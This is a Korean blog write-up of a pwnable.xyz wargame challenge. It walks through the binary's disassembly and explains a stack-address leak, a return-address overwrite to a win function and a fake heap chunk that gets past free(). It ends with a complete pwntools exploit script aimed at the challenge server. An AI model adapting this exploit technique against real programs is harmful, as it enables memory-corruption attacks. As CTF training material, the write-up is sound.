.text:00000000004007DF lea r12, [rsp+68h+buf]
... .text:00000000004007E9 mov edi, 40h ; size .text:00000000004007EE call malloc .text:00000000004007F3 mov [rsp+68h+buf], rax ... .text:0000000000400849 menu_1: ; CODE XREF: main+73↑j .text:0000000000400849 mov rsi, [rsp+68h+buf] ; buf .text:000000000040084E xor rax, rax .text:0000000000400851 xor rdi, rdi ; fd .text:0000000000400854 mov rdx, 20h ; count .text:000000000040085B syscall ; LINUX - sys_read .text:000000000040085D jmp short loc_4007F8 .text:000000000040085F ; --------------------------------------------------------------------------- .text:000000000040085F .text:000000000040085F menu_2: ; CODE XREF: main+80↑j .text:000000000040085F lea rsi, aP ; "%p\n" .text:0000000000400866 mov rdx, r12 .text:0000000000400869 mov edi, 1 .text:000000000040086E xor eax, eax .text:0000000000400870 call __printf_chk .text:0000000000400875 jmp short loc_4007F8 .text:0000000000400877 ; --------------------------------------------------------------------------- .text:0000000000400877 .text:0000000000400877 menu_3: ; CODE XREF: main+85↑j .text:0000000000400877 cmp cs:limit, 1 .text:000000000040087E ja loc_4007F8 .text:0000000000400884 mov rax, [rsp+68h+buf] .text:0000000000400889 movdqu xmm0, xmmword ptr [rax] .text:000000000040088D movdqu xmmword ptr [rsp+8], xmm0 .text:0000000000400893 jmp loc_4007F8 |
malloc(0x40);
으로 할당받은 주소를 buf
에 저장한다. 이 프로그램에서는 세 가지 동작을 실행할 수 있다.
- 메뉴 1:
read(0, buf, 0x20);
- 메뉴 2:
_printf_chk(1, "%p\n", &buf);
로 스택의 주소를 알려줌. - 메뉴 3:
buf
가 가리키는 주소의 16바이트를rsp+8
위치로 옮김.
buf
는 rsp+0x10
에 위치하기 때문에 3번 메뉴로 buf
의 값을 수정할 수 있다. buf
를 return address의 위치로 바꾼 뒤에 1번 메뉴에서 ret를 win
의 주소로 덮어씌우면 win
함수를 실행할 수 있다.
.text:00000000004008A9 loc_4008A9: ; CODE XREF: main+79↑j
.text:00000000004008A9 mov rdi, [rsp+68h+buf] ; ptr .text:00000000004008AE test rdi, rdi .text:00000000004008B1 jnz short loc_4008BD .text:00000000004008B3 mov edi, 1 ; status .text:00000000004008B8 call exit .text:00000000004008BD ; --------------------------------------------------------------------------- .text:00000000004008BD .text:00000000004008BD loc_4008BD: ; CODE XREF: main+F1↑j .text:00000000004008BD call free |
전체 반복문이 끝나고 free(buf);
가 실행된다. 만약 buf
가 가리키는 chunk가 비정상적인 chunk라면 free
함수 내부에서 abort로 강제 종료되기 때문에 fake chunk를 생성해 주어야 한다.
쓰기가 가능한 0x601000~0x602000 영역 또는 스택 영역에 적절한 크기 값을 쓴 뒤 buf
값을 해당 위치+8 로 설정하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def Menu1(data:bytes) : p.writelineafter(b'> ', b'1') p.write(data) def Menu2() : p.writelineafter(b'> ', b'2') p.readuntil(b'0x') return int(p.read(12), 16) def Menu3() : p.writelineafter(b'> ', b'3') def exploit() : leak = Menu2() stack_ret = leak + 0x58 log_info('rsp+0x10 = '+hex(leak)) log_info('ret = '+hex(stack_ret)) Menu1(b'A'*8 + p64(stack_ret)) Menu3() Menu1(p64(0x400A3E) + p64(0x601508)) # win / fake chunk Menu3() Menu1(p64(0x51) + p64(0x601510)) Menu3() p.writelineafter(b'> ', b'0') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30005) else : p = process('./challenge') exploit() |
Last update: 10/23/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / Jmp table (0) | 2020.01.13 |
---|---|
pwnable.xyz / TLSv00 (0) | 2020.01.13 |
pwnable.xyz / two targets (0) | 2020.01.13 |
pwnable.xyz / xor (0) | 2020.01.13 |
pwnable.xyz / note (0) | 2020.01.13 |